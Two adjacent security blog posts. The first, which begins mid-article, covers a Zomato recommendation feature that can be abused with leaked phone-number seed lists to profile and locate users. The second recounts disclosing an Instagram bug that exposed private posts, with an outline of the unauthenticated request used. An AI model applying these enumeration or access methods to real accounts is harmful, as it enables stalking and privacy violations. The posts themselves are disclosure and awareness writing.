• Approximately 4 items ordered from “Sethi ****”, seeing the nature of items, it can be said there were multiple orders.
• More repeated items from other restaurants.

What this means is, for frequently ordered items, we can reduce the default delivery radius assumption which creates a tighter intersection.

Zomato Data Leak Risks: Seed Lists and OSINT Integration

While Zomato classifies this as a social feature for individuals, the technical implementation creates a significant risk of Mass Data Enumeration.

Because the “Friend Recommendation” API allows for one-way syncing without a two-way “handshake” (User Approval), it is theoretically possible to automate this process at scale.

“Seed Lists”

An unsophisticated attacker might try to guess phone numbers sequentially (+91–98XXX…). However, sophisticated bad actors do not need to guess. They utilize “Seed Lists” — massive databases of valid Indian mobile numbers verified from previous security incidents.

Example:

• Truecaller : As reported by BankInfoSecurity, data for nearly 300 million Indian users has been previously exposed. This provides attackers with a ready-made directory of valid, active phone numbers mapped to real names.

The Enrichment Attack:

Instead of blindly pinging random numbers, an attacker feeds these high-fidelity “Seed Lists” into the Zomato API.

• Input: Valid Phone Numbers from seed lists.
• Zomato Output: Recommendations (derived from orders), Spending Power (avg. order value), and Approximate Physical Location (via delivery radius overlap).

As a result this turns Zomato into an “Enrichment Engine.” An attacker starts with just a phone number from an old leak, and Zomato effectively updates that record with the victim’s approximate location and profile.

By leaving this data accessible via a simple phone number query, the system unintentionally exposes the food preferences, location patterns, and spending profiles of its user base to anyone with the technical means to collect it.

Beyond “Public Business Data”: Why Location Matters

Up until this point, we have narrowed a user down to a specific neighbourhood or a cluster of 6–8 sectors. Zomato’s defence is that restaurant coordinates are publicly listed business locations — and technically, they’re right.

But that misses the point entirely.

A phone number in India trivially resolves to a full name via any UPI app (Google Pay, PhonePe) or Truecaller. So the actual output of this attack isn’t “restaurants in a neighbourhood.” It’s a named individual, tied to an approximate residential area, with their food preferences and spending patterns attached.

It’s not public data. That is a profile.

Combined with a name, that’s enough to make someone findable — and that’s the threshold that matters for stalking, harassment, or targeted social engineering.

Zomato calling this “Intended Behaviour” doesn’t change what the output actually is.

How to Protect Your Privacy: Disabling Zomato Friend Recommendations

To prevent your location and recommendation history from being scraped, you must manually opt out:

1. Open the Zomato App and navigate to your Profile.
2. Click ‘Friend Recommendations’ under Food Delivery.
3. Turn the feature off using the toggle switch.
4. Manually delete past recommendations to clear your history from the public API.

Zomato Security News: A Timeline of Ignored Public Feedback

Back in October 2025, both the tech press and the public sounded the alarm on this exact feature:

• MediaNama published an in-depth piece titled: “Is the ‘Loved by Friends’ Feature of Zomato Turning Private Food Choices Into Public Data?” * After a thread blew up on Reddit (/r/IndiaTech) where users complained about their recommendation history (derived from orders)being exposed to contacts without mutual consent. (Source: https://www.medianama.com/2025/10/223-loved-by-friends-feature-zomato-private-food-choices-public-data/ ; Archive)
• Reddit Thread: web archive

Four months later, in January — February 2026, I demonstrated how it can be weaponized into a stalking tool.

Zomato Privacy Flaw: How the ‘Friend Recommendations’ Feature Enables Location Stalking was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

In October 2025, I discovered a server-side vulnerability in Instagram that allowed completely unauthenticated access to private account posts. No login required. No follower relationship. Just an HTTP request with the right headers.

Meta silently patched it within 48 hours of receiving my report. Then they closed my case as “Not Applicable” — officially maintaining the bug never existed, despite fixing exactly what I reported.

A 102-day journey through Meta’s bug bounty process. This is the story of that disclosure.

The Discovery

I was building a workflow automation tool for HTTP requests when I stumbled onto something unexpected. While examining Instagram’s mobile web responses, I noticed CDN links being returned for content that shouldn’t have been accessible.

Private posts. Full resolution images. Captions. All of it embedded in the HTML response to an unauthenticated request.

My first instinct was disbelief. I reloaded the page. Ran the request again. Checked if I was somehow authenticated. I wasn’t. The data kept coming back.

I assumed it was a fluke — some kind of caching artifact that would disappear. But it didn’t. After multiple tests on the same account, I realized I needed to verify this properly. So I tested on my own private account: I made a post, waited a few hours, then ran the same request without authentication.

The post was there and the CDN links worked. This wasn’t a fluke.

How It Worked

The exploit was straightforward:

1. Send an unauthenticated GET request to `instagram.com/<private_username>` with specific mobile headers
2. Server returns HTML containing embedded JSON with `polaris_timeline_connection`
3. Extract CDN links from the `edges` array
4. Access private photos with captions directly

The server was actively generating this private data for unauthorized requests. This wasn’t a CDN caching issue — Instagram’s backend was failing to check authorization before populating the response.

Demo of Poc.py

Poc script exposes private post:

Poc script in action for a third party account:

Testing Scope

I limited all formal testing to accounts I owned or had explicit permission to test. Out of 7 authorized accounts:

• 2 were vulnerable (~28%) — though given the accidental discovery on a non-authorized account, the true rate is likely higher
• 5 were not affected

The vulnerability appeared to be conditional — not all private accounts were exposed. Initial testing suggested a correlation with account age, but the true cause was never determined.

The analysis of authorized testing is accessible here: https://github.com/jatin-dot-py/instagram-private-bypass/blob/main/analysis.json

The Report

On October 12, 2025, I submitted a detailed report to Meta’s bug bounty program with:

• Full technical explanation
• Proof-of-concept script
• Video demonstration

The first report was quickly closed — Meta misinterpreted it as a CDN caching issue (Case Number: 1838087146916736). I immediately filed a second report (Case Number: 1838100803582037) with clearer language emphasizing this was a server-side authorization failure.

This time, Meta engaged.

Back and Forth

Over the next few days:

• October 13: Meta asked me to test on their account, `2fa_2fa`. The exploit did not work — providing an early clue that this was a conditional bug.
• October 14: Meta requested another vulnerable account. I provided one (with consent): `its_prathambanga`. The exploit worked, and I sent video evidence of both manual browser reproduction and the POC script.
• October 15: I sent a detailed analysis explaining the two-part behavior: specific headers trigger a state where the server returns `0 followers / 0 following`, and in that state, the private timeline data is incorrectly populated for some accounts.

The Silent Patch

On October 16, 2025, I noticed the exploit no longer worked. Every account that was previously vulnerable now returned empty responses.

Meta had patched it. Silently. Without notification.

I sent a follow-up asking for confirmation that the vulnerability was fixed.

No response.

The Denial

Eleven days later, on October 27, I received Meta’s official response:

“We are unable to reproduce this issue.”

Unable to reproduce — the issue they had just patched.

I replied pointing out the contradiction: you asked for vulnerable accounts, I provided them, those accounts are now fixed. How is this unreproducible?

Meta’s response:

“The fact that an unreproducible issue was fixed doesn’t change the fact that it was not reproducible at the time. Even if the issue were reproducible, it’s possible that a change was made to fix a different issue and this issue was fixed as an unintended side effect.”

The case was closed as ”Not Applicable.” No acknowledgment.

What’s Missing

Three things stand out:

1. Meta never requested the debug data I offered: I offered to provide full network logs with X-FB-Debug headers — everything needed to trace the issue internally. No response.
2. No investigation despite a comparative account list : I provided a list showing which accounts were exploitable and which weren’t. This was a ready-made diagnostic dataset for understanding the conditional nature of the bug. No follow-up.
3. No root cause analysis: Meta attributed the fix to “infrastructure changes” or “unintended side effect of other changes” — not a targeted fix based on investigation. Without identifying the root cause, there’s no confirmation the underlying issue is truly resolved.

The Evidence

I documented everything with timestamps and integrity verification:

POC Script: Python script that extracted private CDN links

Before / After Screenshots: Same request, before and after patch

Video Evidence: 4 timestamped recordings with SHA256 hashes, with historical git commit and push history

Meta Communications: Complete PDF archive for all correspondence

Network Logs, Exposed Link Samples: All headers with samples where the exploit worked, where it did not work and CDN links that were exposed.

All evidence was committed to Git during the reporting process. The timestamps cannot be fabricated retroactively.

Before & After

What Really Happened?

I don’t know if this was a cover-up or negligence. Both explanations are concerning.

What I know is:

• The vulnerability existed and was documented with video evidence
• Meta asked me to provide vulnerable accounts
• Those exact accounts were patched within 48 hours
• Meta then claimed the issue was unreproducible
• The case was closed without root cause analysis

Instagram serves over a billion users who rely on “private” meaning private. A conditional bug that exposes some accounts but not others is arguably more dangerous than one that affects everyone — it’s harder to detect, harder to diagnose, and harder to confirm as fixed.

Dismissing it with “infrastructure changes” doesn’t inspire confidence.

Why I’m Disclosing

The standard coordinated disclosure window is 90 days. I gave Meta 102 days and multiple escalation attempts. The exploit stopped working on all accounts I tested — though without root cause analysis from Meta, there’s no confirmation the underlying issue is truly resolved.

Technical Details

For those who want to dig deeper:

• Github& README — Overview and evidence links
• TIMELINE.md with videos, images— Complete chronological record
• poc.py — Proof-of-concept script
• official_communication/ — Full Meta correspondence (PDF)

Contact info available in the GitHub README.

I Found a Bug That Exposed Private Instagram Posts to Anyone. was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.